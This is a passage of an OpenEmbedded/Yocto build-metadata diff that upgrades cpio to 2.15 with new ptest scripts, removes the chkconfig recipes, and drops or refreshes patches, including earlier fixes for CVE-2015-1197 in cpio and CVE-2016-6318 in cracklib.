+ cp -r ${WORKDIR}/git/dotnetzip ${D}${PTEST_PATH}/bzip2-tests/dotnetzip
+ cp -r ${WORKDIR}/git/go ${D}${PTEST_PATH}/bzip2-tests/go
+ cp -r ${WORKDIR}/git/lbzip2 ${D}${PTEST_PATH}/bzip2-tests/lbzip2
+ cp -r ${WORKDIR}/git/pyflate ${D}${PTEST_PATH}/bzip2-tests/pyflate
+ cp ${WORKDIR}/git/README ${D}${PTEST_PATH}/bzip2-tests/
+ cp ${WORKDIR}/git/run-tests.sh ${D}${PTEST_PATH}/bzip2-tests/
+ sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile
+}
+
+FILES:libbz2 = "${libdir}/lib*${SOLIBS}"
+
+RDEPENDS:${PN}-ptest += "make bash"
+
+PROVIDES:append:class-native = " bzip2-replacement-native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/chkconfig/chkconfig-alternatives-native_1.3.59.bb b/meta/recipes-extended/chkconfig/chkconfig-alternatives-native_1.3.59.bb
deleted file mode 100644
index 87fa8eb605..0000000000
--- a/meta/recipes-extended/chkconfig/chkconfig-alternatives-native_1.3.59.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-require recipes-extended/chkconfig/chkconfig_1.3.58.bb
-
-SUMMARY = "${SUMMARY_chkconfig-alternatives}"
-DESCRIPTION = "${DESCRIPTION_chkconfig-alternatives}"
-DEPENDS = ""
-PROVIDES += "virtual/update-alternatives-native"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-# The sysroot branch is 1.3.59 + some git commits from master + --sysroot
-# support for alternatives.
-SRC_URI = "git://github.com/kergoth/chkconfig;branch=sysroot"
-S = "${WORKDIR}/git"
-UPSTREAM_CHECK_GITTAGREGEX = "chkconfig-(?P<pver>(\d+(\.\d+)+))"
-
-SRCREV = "cd437ecbd8986c894442f8fce1e0061e20f04dee"
-PV = "1.3.59+${SRCPV}"
-
-inherit native
-
-# We want our native recipes to build using the target paths rather than paths
-# into the sysroot, as we may use them to construct the rootfs. As such, we
-# only adjust the paths to match the metadata for the target, not native.
-obey_variables () {
- sed -i 's,ALTERNATIVES_ROOT,OPKG_OFFLINE_ROOT,' ${S}/alternatives.c
-}
-
-do_compile () {
- oe_runmake alternatives
-}
-
-do_install () {
- install -d ${D}${sysconfdir}/alternatives \
- ${D}${localstatedir}/lib/alternatives
-
- install -D -m 0755 alternatives ${D}${bindir}/alternatives
- install -D -m 0644 alternatives.8 ${D}${mandir}/man8/alternatives.8
-
- ln -s alternatives ${D}${bindir}/update-alternatives
- ln -s alternatives.8 ${D}${mandir}/man8/update-alternatives.8
-}
-
-do_install_append_linuxstdbase() {
- rm -rf ${D}${libdir}/lsb
-}
diff --git a/meta/recipes-extended/chkconfig/chkconfig/replace_caddr_t.patch b/meta/recipes-extended/chkconfig/chkconfig/replace_caddr_t.patch
deleted file mode 100644
index 96d1938791..0000000000
--- a/meta/recipes-extended/chkconfig/chkconfig/replace_caddr_t.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-caddr_t is a legacy BSD type which was rejected by the POSIX standard.
-Use void * instead.
-
-sys/unitstd.h is not needed and moreover its not available on all C library
-implementations e.g. musl
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: chkconfig-1.3.58/alternatives.c
-===================================================================
---- chkconfig-1.3.58.orig/alternatives.c
-+++ chkconfig-1.3.58/alternatives.c
-@@ -22,7 +22,6 @@
- #include <stdio.h>
- #include <string.h>
- #include <sys/stat.h>
--#include <sys/unistd.h>
- #include <unistd.h>
-
- #define FLAGS_TEST (1 << 0)
-Index: chkconfig-1.3.58/leveldb.c
-===================================================================
---- chkconfig-1.3.58.orig/leveldb.c
-+++ chkconfig-1.3.58/leveldb.c
-@@ -442,7 +442,7 @@ int parseServiceInfo(int fd, char * name
- fstat(fd, &sb);
-
- bufstart = mmap(NULL, sb.st_size, PROT_READ, MAP_SHARED, fd, 0);
-- if (bufstart == ((caddr_t) -1)) {
-+ if (bufstart == ((void*) -1)) {
- close(fd);
- return -1;
- }
diff --git a/meta/recipes-extended/chkconfig/chkconfig_1.3.58.bb b/meta/recipes-extended/chkconfig/chkconfig_1.3.58.bb
deleted file mode 100644
index 2f1f6c0264..0000000000
--- a/meta/recipes-extended/chkconfig/chkconfig_1.3.58.bb
+++ /dev/null
@@ -1,71 +0,0 @@
-SUMMARY = "A system tool for maintaining the /etc/rc*.d hierarchy"
-DESCRIPTION = "Chkconfig is a basic system utility. It updates and queries runlevel \
-information for system services. Chkconfig manipulates the numerous \
-symbolic links in /etc/rc.d, to relieve system administrators of some \
-of the drudgery of manually editing the symbolic links."
-
-RECIPE_NO_UPDATE_REASON = "Version 1.5 requires selinux"
-
-HOMEPAGE = "https://github.com/fedora-sysv"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5574c6965ae5f583e55880e397fbb018"
-
-DEPENDS = "libnewt popt"
-PROVIDES += "virtual/update-alternatives"
-
-PR = "r7"
-
-S = "${WORKDIR}/${BPN}-${BPN}-${PV}"
-
-UPSTREAM_CHECK_URI = "https://github.com/fedora-sysv/${BPN}/releases"
-
-SRC_URI = "https://github.com/fedora-sysv/chkconfig/archive/chkconfig-${PV}.tar.gz \
- file://replace_caddr_t.patch \
- "
-
-SRC_URI[md5sum] = "3f51ac38a234be5278b3a2d9705eda5e"
-SRC_URI[sha256sum] = "bf1e81f0d7cc999b536c9fe7877abf584a4082fd03c9d2597b6f090966579b40"
-
-inherit gettext
-
-# Makefile uses RPM_OPT_FLAGS to construct CFLAGS
-#
-EXTRA_OEMAKE = "\
- 'RPM_OPT_FLAGS=${CFLAGS}' \
- 'LDFLAGS=${LDFLAGS}' \
- 'BINDIR=${base_sbindir}' \
- 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' \
- 'ALTDIR=${localstatedir}/lib/alternatives' \
- 'ALTDATADIR=${sysconfdir}/alternatives' \
-"
-
-do_unpack[postfuncs] += "obey_variables"
-do_unpack[vardeps] += "obey_variables"
-obey_variables () {
- sed -i -e 's,/etc,${sysconfdir},; s,/lib/systemd,${base_libdir}/systemd,' ${S}/leveldb.h
- sed -i -e 's,/etc/alternatives,${sysconfdir}/alternatives,' \
- -e 's,/var/lib/alternatives,${localstatedir}/lib/alternatives,' \
- -e 's,/usr/share/locale,${datadir}/locale,' ${S}/alternatives.c
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' 'INSTALLNLSDIR=${D}${datadir}/locale' \
- 'BINDIR=${sbindir}' install
- install -d ${D}${sysconfdir}/chkconfig.d
-}
-
-PACKAGES =+ "${PN}-alternatives ${PN}-alternatives-doc"
-SUMMARY_${PN}-alternatives = "Maintain symbolic links determining default commands"
-DESCRIPTION_${PN}-alternatives = "alternatives creates, removes, maintains and displays \
-information about the symbolic links comprising the alternatives system."
-SUMMARY_${PN}-alternatives-doc = "${SUMMARY_${PN}-alternatives} - Documentation files"
-DESCRIPTION_${PN}-alternatives-doc = "${DESCRIPTION_${PN}-alternatives} \
-This package contains documentation."
-RPROVIDES_${PN}-alternatives += "update-alternatives"
-RCONFLICTS_${PN}-alternatives = "update-alternatives-opkg update-alternatives-dpkg"
-FILES_${PN}-alternatives = "${sbindir}/alternatives ${sbindir}/update-alternatives \
- ${sysconfdir}/alternatives ${localstatedir}/lib/alternatives"
-FILES_${PN}-alternatives-doc = "${mandir}/man8/alternatives.8 \
- ${mandir}/man8/update-alternatives.8"
diff --git a/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-CVE-2015-1197.patch b/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-CVE-2015-1197.patch
deleted file mode 100644
index 5c999197ff..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-CVE-2015-1197.patch
+++ /dev/null
@@ -1,178 +0,0 @@
-From dcee489f821c1260a0136fcdfdb6ff4dd11086ac Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 9 Dec 2015 17:58:03 +0200
-Subject: [PATCH] Fix CVE-2015-1197
-
-Apply patch by Vitezslav Cizek of SuSE to fix CVE-2015-1197.
-Upstream is dormant or no longer existing. To restore the old
-behaviour use --extract-over-symlinks (Closes: #774669)
-This issue has been discovered by Alexander Cherepanov.
-Author: Vitezslav Cizek <vcizek@suse.cz>
-Bug-Debian: https://bugs.debian.org/774669
-
-Upstream-Status: Pending
-CVE: CVE-2015-1197
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- doc/cpio.1 | 1 +
- src/copyin.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- src/extern.h | 1 +
- src/global.c | 3 +++
- src/main.c | 7 +++++++
- 5 files changed, 74 insertions(+)
-
-diff --git a/doc/cpio.1 b/doc/cpio.1
-index 2a68241..dc4676c 100644
---- a/doc/cpio.1
-+++ b/doc/cpio.1
-@@ -49,6 +49,7 @@ cpio \- copy files to and from archives
- [\fB\-\-no\-preserve\-owner\fR] [\fB\-\-message=\fIMESSAGE\fR]
- [\fB\-\-force\-local\fR] [\fB\-\-no\-absolute\-filenames\fR] [\fB\-\-sparse\fR]
- [\fB\-\-only\-verify\-crc\fR] [\fB\-\-to\-stdout\fR] [\fB\-\-quiet\fR]
-+[\fB\-\-extract\-over\-symlinks\fR]
- [\fB\-\-rsh\-command=\fICOMMAND\fR]
- [\fIpattern\fR...] [\fB<\fR \fIarchive\fR]
-
-diff --git a/src/copyin.c b/src/copyin.c
-index cde911e..053afe7 100644
---- a/src/copyin.c
-+++ b/src/copyin.c
-@@ -695,6 +695,51 @@ copyin_link (struct cpio_file_stat *file_hdr, int in_file_des)
- free (link_name);
- }
-
-+
-+static int
-+path_contains_symlink(char *path)
-+{
-+ struct stat st;
-+ char *slash;
-+ char *nextslash;
-+
-+ /* we got NULL pointer or empty string */
-+ if (!path || !*path) {
-+ return false;
-+ }
-+
-+ slash = path;
-+
-+ while ((nextslash = strchr(slash + 1, '/')) != NULL) {
-+ slash = nextslash;
-+ *slash = '\0';
-+
-+ if (lstat(path, &st) != 0) {
-+ if (errno == ELOOP) {
-+ /* ELOOP - too many symlinks */
-+ *slash = '/';
-+ return true;
-+ } else if (errno == ENOMEM) {
-+ /* No memory for lstat - terminate */
-+ xalloc_die();
-+ } else {
-+ /* cannot lstat path - give up */
-+ *slash = '/';
-+ return false;
-+ }
-+ }
-+
-+ if (S_ISLNK(st.st_mode)) {
-+ *slash = '/';
-+ return true;
-+ }
-+
-+ *slash = '/';
-+ }
-+
-+ return false;
-+}
-+
- static void
- copyin_file (struct cpio_file_stat *file_hdr, int in_file_des)
- {
-@@ -1468,6 +1513,23 @@ process_copy_in ()
- {
- /* Copy the input file into the directory structure. */
-
-+ /* Can we write files over symlinks? */
-+ if (!extract_over_symlinks)
-+ {
-+ if (path_contains_symlink(file_hdr.c_name))
-+ {
-+ /* skip the file */
-+ /*
-+ fprintf(stderr, "Can't write over symlinks. Skipping %s\n", file_hdr.c_name);
-+ tape_toss_input (in_file_des, file_hdr.c_filesize);
-+ tape_skip_padding (in_file_des, file_hdr.c_filesize);
-+ continue;
-+ */
-+ /* terminate */
-+ error (1, 0, _("Can't write over symlinks: %s\n"), file_hdr.c_name);
-+ }
-+ }
-+
- /* Do we need to rename the file? */
- if (rename_flag || rename_batch_file)
- {
-diff --git a/src/extern.h b/src/extern.h
-index e27d662..d864bde 100644
---- a/src/extern.h
-+++ b/src/extern.h
-@@ -96,6 +96,7 @@ extern char input_is_special;
- extern char output_is_special;
- extern char input_is_seekable;
- extern char output_is_seekable;
-+extern bool extract_over_symlinks;
- extern int (*xstat) ();
- extern void (*copy_function) ();
- extern char *change_directory_option;
-diff --git a/src/global.c b/src/global.c
-index 57e505a..336fce4 100644
---- a/src/global.c
-+++ b/src/global.c
-@@ -187,6 +187,9 @@ bool to_stdout_option = false;
- /* The name this program was run with. */
- char *program_name;
-
-+/* Extract files over symbolic links */
-+bool extract_over_symlinks;
-+
- /* A pointer to either lstat or stat, depending on whether
- dereferencing of symlinks is done for input files. */
- int (*xstat) ();
-diff --git a/src/main.c b/src/main.c
-index a13861f..87cb309 100644
---- a/src/main.c
-+++ b/src/main.c
-@@ -59,6 +59,7 @@ enum cpio_options {
- DEBUG_OPTION,
- BLOCK_SIZE_OPTION,
- TO_STDOUT_OPTION,
-+ EXTRACT_OVER_SYMLINKS,
- RENUMBER_INODES_OPTION,
- IGNORE_DEVNO_OPTION,
- DEVICE_INDEPENDENT_OPTION
-@@ -243,6 +244,8 @@ static struct argp_option options[] = {
- N_("Create leading directories where needed"), GRID+1 },
- {"no-preserve-owner", NO_PRESERVE_OWNER_OPTION, 0, 0,
- N_("Do not change the ownership of the files"), GRID+1 },
-+ {"extract-over-symlinks", EXTRACT_OVER_SYMLINKS, 0, 0,
-+ N_("Force writing over symbolic links"), GRID+1 },
- {"unconditional", 'u', NULL, 0,
- N_("Replace all files unconditionally"), GRID+1 },
- {"sparse", SPARSE_OPTION, NULL, 0,
-@@ -432,6 +435,10 @@ crc newc odc bin ustar tar (all-caps also recognized)"), arg));
- no_chown_flag = true;
- break;
-
-+ case EXTRACT_OVER_SYMLINKS: /* --extract-over-symlinks */
-+ extract_over_symlinks = true;
-+ break;
-+
- case 'o': /* Copy-out mode. */
- if (copy_function != 0)
- USAGE_ERROR ((0, 0, _("Mode already defined")));
---
-2.6.2
-
diff --git a/meta/recipes-extended/cpio/cpio-2.12/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/cpio/cpio-2.12/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 6ae213942c..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.12/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: cpio-2.11/gnu/Makefile.am
-===================================================================
---- cpio-2.11.orig/gnu/Makefile.am
-+++ cpio-2.11/gnu/Makefile.am
-@@ -734,7 +734,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/cpio/cpio_2.12.bb b/meta/recipes-extended/cpio/cpio_2.12.bb
deleted file mode 100644
index 405a90e03a..0000000000
--- a/meta/recipes-extended/cpio/cpio_2.12.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require cpio_v2.inc
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
-
-SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://0001-Fix-CVE-2015-1197.patch \
- "
-
-SRC_URI[md5sum] = "fc207561a86b63862eea4b8300313e86"
-SRC_URI[sha256sum] = "08a35e92deb3c85d269a0059a27d4140a9667a6369459299d08c17f713a92e73"
diff --git a/meta/recipes-extended/cpio/cpio_2.15.bb b/meta/recipes-extended/cpio/cpio_2.15.bb
new file mode 100644
index 0000000000..52070f59a2
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio_2.15.bb
@@ -0,0 +1,87 @@
+SUMMARY = "GNU cpio is a program to manage archives of files"
+DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
+another. It handles a number of cpio formats as well as reading and writing tar files."
+HOMEPAGE = "http://www.gnu.org/software/cpio/"
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
+
+SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
+ file://run-ptest \
+ file://test.sh \
+ "
+
+SRC_URI[sha256sum] = "efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e"
+
+inherit autotools gettext texinfo ptest
+
+CVE_STATUS[CVE-2010-4226] = "not-applicable-platform: Issue applies to use of cpio in SUSE/OBS"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+do_install () {
+ autotools_do_install
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}/
+ mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
+ if [ "${sbindir}" != "${bindir}" ]; then
+ rmdir ${D}${bindir}/
+ fi
+ fi
+
+ # Avoid conflicts with the version from tar
+ mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
+}
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/gnu/ check
+ oe_runmake -C ${B}/lib/ check
+ oe_runmake -C ${B}/rmt/ check
+ oe_runmake -C ${B}/src/ check
+ oe_runmake -C ${B}/tests/ genfile
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests/
+ sed -i "/abs_/d" ${B}/tests/atconfig
+ install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
+ sed -i "s%${B}/tests:%%g" ${B}/tests/atlocal
+ sed -i "s%${B}/src:%%g" ${B}/tests/atlocal
+ install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${WORKDIR}/test.sh ${D}${PTEST_PATH}/test.sh
+ sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/test.sh
+}
+
+# ptest.bbclass currently chowns the ptest directory explicitly, so we need to
+# change permission after that has happened so the ptest user can write a
+# temporary directory.
+do_install_ptest_base:append() {
+ chgrp -R ptest ${D}${PTEST_PATH}/
+ chmod -R g+w ${D}${PTEST_PATH}/
+}
+
+# The tests need to run as a non-root user, so pull in the ptest user
+DEPENDS:append:class-target = "${@bb.utils.contains('PTEST_ENABLED', '1', ' ptest-runner', '', d)}"
+PACKAGE_WRITE_DEPS += "ptest-runner"
+
+RDEPENDS:${PN}-ptest += "ptest-runner"
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "cpio"
+ALTERNATIVE:${PN}-rmt = "rmt"
+
+ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
+
+ALTERNATIVE_PRIORITY[rmt] = "50"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio_v2.inc b/meta/recipes-extended/cpio/cpio_v2.inc
deleted file mode 100644
index 31adb717d4..0000000000
--- a/meta/recipes-extended/cpio/cpio_v2.inc
+++ /dev/null
@@ -1,43 +0,0 @@
-SUMMARY = "GNU cpio is a program to manage archives of files"
-DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
-another. It handles a number of cpio formats as well as reading and writing tar files."
-HOMEPAGE = "http://www.gnu.org/software/cpio/"
-SECTION = "base"
-
-DEPENDS = "texinfo-native"
-
-SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
- "
-
-inherit autotools gettext texinfo
-
-S = "${WORKDIR}/cpio-${PV}"
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${base_sbindir}"
-
-do_install () {
- autotools_do_install
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}/
- mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
- rmdir ${D}${bindir}/
- fi
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${base_sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "cpio"
-ALTERNATIVE_${PN}-rmt = "rmt"
-
-ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
-
-ALTERNATIVE_PRIORITY[rmt] = "50"
-ALTERNATIVE_LINK_NAME[rmt] = "${base_sbindir}/rmt"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/cpio/files/run-ptest b/meta/recipes-extended/cpio/files/run-ptest
new file mode 100755
index 0000000000..f35a756d6b
--- /dev/null
+++ b/meta/recipes-extended/cpio/files/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+su -c ./test.sh ptest
diff --git a/meta/recipes-extended/cpio/files/test.sh b/meta/recipes-extended/cpio/files/test.sh
new file mode 100644
index 0000000000..f027574e86
--- /dev/null
+++ b/meta/recipes-extended/cpio/files/test.sh
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+# Define cpio test work dir
+WORKDIR=@PTEST_PATH@/tests/
+
+# Run test
+cd ${WORKDIR}
+./atconfig ./atlocal ./testsuite
+
+./testsuite 2>&1 | grep -E '[0-9]{1,3}: ' | sed -e 's/^.....//' -e '/[ok]$/s/^/PASS: /;/FAILED (.*)/s/^/FAIL: /;/skipped (.*)/s/^/SKIP: /;/expected failure/ s/^/PASS: /;/UNEXPECTED PASS/s/^/FAIL: /' -e 's/ok$//g' -e 's/FAILED.*//g' -e 's/skipped.*//g' -e 's/expected failure.*//g' -e 's/UNEXPECTED PASS.*//g'
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch b/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
deleted file mode 100644
index b251ac9056..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From 47e5dec521ab6243c9b249dd65b93d232d90d6b1 Mon Sep 17 00:00:00 2001
-From: Jan Dittberner <jan@dittberner.info>
-Date: Thu, 25 Aug 2016 17:13:49 +0200
-Subject: [PATCH] Apply patch to fix CVE-2016-6318
-
-This patch fixes an issue with a stack-based buffer overflow when
-parsing large GECOS field. See
-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6318 and
-https://security-tracker.debian.org/tracker/CVE-2016-6318 for more
-information.
-
-Upstream-Status: Backport [https://github.com/cracklib/cracklib/commit/47e5dec521ab6243c9b249dd65b93d232d90d6b1]
-CVE: CVE-2016-6318
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- lib/fascist.c | 57 ++++++++++++++++++++++++++++++++-----------------------
- 1 file changed, 33 insertions(+), 24 deletions(-)
-
-diff --git a/lib/fascist.c b/lib/fascist.c
-index a996509..d4deb15 100644
---- a/lib/fascist.c
-+++ b/lib/fascist.c
-@@ -502,7 +502,7 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- char gbuffer[STRINGSIZE];
- char tbuffer[STRINGSIZE];
- char *uwords[STRINGSIZE];
-- char longbuffer[STRINGSIZE * 2];
-+ char longbuffer[STRINGSIZE];
-
- if (gecos == NULL)
- gecos = "";
-@@ -583,38 +583,47 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
- {
- for (i = 0; i < j; i++)
- {
-- strcpy(longbuffer, uwords[i]);
-- strcat(longbuffer, uwords[j]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) + strlen(uwords[j]) < STRINGSIZE)
- {
-- return _("it is derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[i]);
-+ strcat(longbuffer, uwords[j]);
-
-- strcpy(longbuffer, uwords[j]);
-- strcat(longbuffer, uwords[i]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derived from your password entry");
-+ }
-
-- if (GTry(longbuffer, password))
-- {
-- return _("it's derived from your password entry");
-- }
-+ strcpy(longbuffer, uwords[j]);
-+ strcat(longbuffer, uwords[i]);
-
-- longbuffer[0] = uwords[i][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[j]);
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derived from your password entry");
-+ }
-+ }
-
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[j]) < STRINGSIZE - 1)
- {
-- return _("it is derivable from your password entry");
-+ longbuffer[0] = uwords[i][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[j]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it is derivable from your password entry");
-+ }
- }
-
-- longbuffer[0] = uwords[j][0];
-- longbuffer[1] = '\0';
-- strcat(longbuffer, uwords[i]);
--
-- if (GTry(longbuffer, password))
-+ if (strlen(uwords[i]) < STRINGSIZE - 1)
- {
-- return _("it's derivable from your password entry");
-+ longbuffer[0] = uwords[j][0];
-+ longbuffer[1] = '\0';
-+ strcat(longbuffer, uwords[i]);
-+
-+ if (GTry(longbuffer, password))
-+ {
-+ return _("it's derivable from your password entry");
-+ }
- }
- }
- }
---
-2.8.1
-
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
index adbe7dfff4..20572b55c4 100644
--- a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
+++ b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
@@ -1,7 +1,7 @@
-From 8a6e43726ad0ae41bd1cc2c248d91deb31459357 Mon Sep 17 00:00:00 2001
+From aae03b7e626d5f62ab929d51d11352a5a2ff6b2d Mon Sep 17 00:00:00 2001
From: Lei Maohui <leimaohui@cn.fujitsu.com>
Date: Tue, 9 Jun 2015 11:11:48 +0900
-Subject: [PATCH] packlib.c: support dictionary byte order dependent
+Subject: [PATCH 1/2] packlib.c: support dictionary byte order dependent
The previous dict files are NOT byte-order independent, in fact they are
probably ARCHITECTURE SPECIFIC.
@@ -9,7 +9,7 @@ Create the dict files in big endian, and convert to host endian while
load them. This could fix the endian issue on multiple platform.
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/41]
We can't use the endian.h, htobe* and be*toh functions because they are
not available on older versions of glibc, such as that found in RHEL
@@ -22,11 +22,11 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
---
- lib/packlib.c | 214 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
+ lib/packlib.c | 214 +++++++++++++++++++++++++++++++++++++++++++++-
1 file changed, 210 insertions(+), 4 deletions(-)
diff --git a/lib/packlib.c b/lib/packlib.c
-index f851424..3aac805 100644
+index 9396e1d..d0bb181 100644
--- a/lib/packlib.c
+++ b/lib/packlib.c
@@ -16,6 +16,12 @@
@@ -41,8 +41,8 @@ index f851424..3aac805 100644
+#include <byteswap.h>
#include "packer.h"
- static const char vers_id[] = "packlib.c : v2.3p2 Alec Muffett 18 May 1993";
-@@ -45,6 +51,185 @@ typedef struct
+ #define DEBUG 0
+@@ -43,6 +49,185 @@ typedef struct
char data_get[NUMWORDS][MAXWORDLEN];
} PWDICT64;
@@ -228,7 +228,7 @@ index f851424..3aac805 100644
static int
_PWIsBroken64(FILE *ifp)
-@@ -57,6 +242,7 @@ _PWIsBroken64(FILE *ifp)
+@@ -55,6 +240,7 @@ _PWIsBroken64(FILE *ifp)
return 0;
}
@@ -236,7 +236,7 @@ index f851424..3aac805 100644
return (pdesc64.header.pih_magic == PIH_MAGIC);
}
-@@ -149,7 +335,11 @@ PWOpen(prefix, mode)
+@@ -147,7 +333,11 @@ PWOpen(prefix, mode)
pdesc.header.pih_blocklen = NUMWORDS;
pdesc.header.pih_numwords = 0;
@@ -249,7 +249,7 @@ index f851424..3aac805 100644
} else
{
pdesc.flags &= ~PFOR_WRITE;
-@@ -173,6 +363,7 @@ PWOpen(prefix, mode)
+@@ -171,6 +361,7 @@ PWOpen(prefix, mode)
return NULL;
}
@@ -257,7 +257,7 @@ index f851424..3aac805 100644
if ((pdesc.header.pih_magic == 0) || (pdesc.header.pih_numwords == 0))
{
/* uh-oh. either a broken "64-bit" file or a garbage file. */
-@@ -195,6 +386,7 @@ PWOpen(prefix, mode)
+@@ -193,6 +384,7 @@ PWOpen(prefix, mode)
}
return NULL;
}
@@ -265,7 +265,7 @@ index f851424..3aac805 100644
if (pdesc64.header.pih_magic != PIH_MAGIC)
{
/* nope, not "64-bit" after all */
-@@ -290,6 +482,7 @@ PWOpen(prefix, mode)
+@@ -288,6 +480,7 @@ PWOpen(prefix, mode)
{
pdesc.flags &= ~PFOR_USEHWMS;
}
